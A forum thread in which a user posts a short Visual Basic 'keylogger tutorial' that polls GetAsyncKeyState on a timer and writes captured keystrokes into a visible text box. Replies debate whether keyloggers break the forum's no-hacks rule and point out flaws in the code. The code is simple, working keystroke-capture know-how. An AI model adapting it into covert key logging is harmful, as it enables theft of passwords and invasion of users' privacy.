Keylogger (Tutorial)

Heres your chance to share your own tutorials with the community. Just post them on here. If your lucky they may even be posted on the main site.
9 posts Page 1 of 1
Contributors
MANSQN
VIP - Donator
VIP - Donator
Posts: 159
Joined: Sat Sep 17, 2011 11:33 pm

Keylogger (Tutorial)
MANSQN
Requirements: 1 Form, 1 TextBox & 1 Timer.

1: Set Timer Enabled Property to True and change it's interval to 1

2: Add the following Code

Code: Select all
Public Class Form1

Dim key As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Timer_Tick event:

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255

key = 0

key = GetAsyncKeyState(i)

If key = -32767 Then

TextBox1.Text = TextBox1.Text + Chr(i)

End If

Next i

End Sub
-Thanks-
Last edited by MANSQN on Tue Feb 14, 2012 10:16 pm, edited 2 times in total.
User avatar
M1z23R
VIP - Donator
VIP - Donator
Posts: 622
Joined: Tue Sep 28, 2010 4:55 pm

Re: Keylogger (Tutorial)
M1z23R
Welcome to CnS :))
And, btw, keyloggers are considered as hacks, and this forum doesn't allow hacks/cracks...etc :)
Have fun here :D
Nice other tuts cooll;
User avatar
Cheatmasterbw
Coding God
Coding God
Posts: 1506
Joined: Fri Jan 01, 2010 2:30 pm

Re: Keylogger (Tutorial)
Cheatmasterbw
Nice tutorial, and welcome to the site!

Keyloggers are not always hacks. They could be used in programs to detect special short key stroaks (like Windows Key and a letter).
Last edited by Cheatmasterbw on Sun Sep 18, 2011 3:53 am, edited 1 time in total.
http://www.megaapps.tk/
User avatar
Bogoh67
VIP - Site Partner
VIP - Site Partner
Posts: 656
Joined: Sun Apr 18, 2010 8:20 pm

Re: Keylogger (Tutorial)
Bogoh67
agreed but you dont have to use a keylogger and yea welcome to the forums
and for future references use
MANSQN
VIP - Donator
VIP - Donator
Posts: 159
Joined: Sat Sep 17, 2011 11:33 pm

Re: Keylogger (Tutorial)
MANSQN
Thansk everyone just found the site last night n its a great lil site.
User avatar
mandai
Coding God
Coding God
Posts: 2585
Joined: Mon Apr 26, 2010 6:51 pm

Re: Keylogger (Tutorial)
mandai
In many cases a keycode is not the same as a character, also if your keyboard has less than 255 keys then the code should be changed.
Last edited by mandai on Sun Sep 18, 2011 6:27 pm, edited 1 time in total.
User avatar
Usman55
VIP - Site Partner
VIP - Site Partner
Posts: 2821
Joined: Thu Dec 24, 2009 7:52 pm

Re: Keylogger (Tutorial)
Usman55
I bet you didn't read the rules! BTW, you make nice tuts!
Image
User avatar
Livengood
Serious Programmer
Serious Programmer
Posts: 445
Joined: Tue Feb 16, 2010 6:24 am

Re: Keylogger (Tutorial)
Livengood
Theres a better way to control the keys btw. :)
Image
User avatar
clanc789
Coding Guru
Coding Guru
Posts: 786
Joined: Tue Nov 02, 2010 4:45 pm

Re: Keylogger (Tutorial)
clanc789
Dont bump please... the last post was 18 september 2011 and you post it at 24 oct 2011 which is 35 days -.-"
Practice makes perfect!

VIP since: 6-10-2011
9 posts Page 1 of 1
Return to “Tutorials”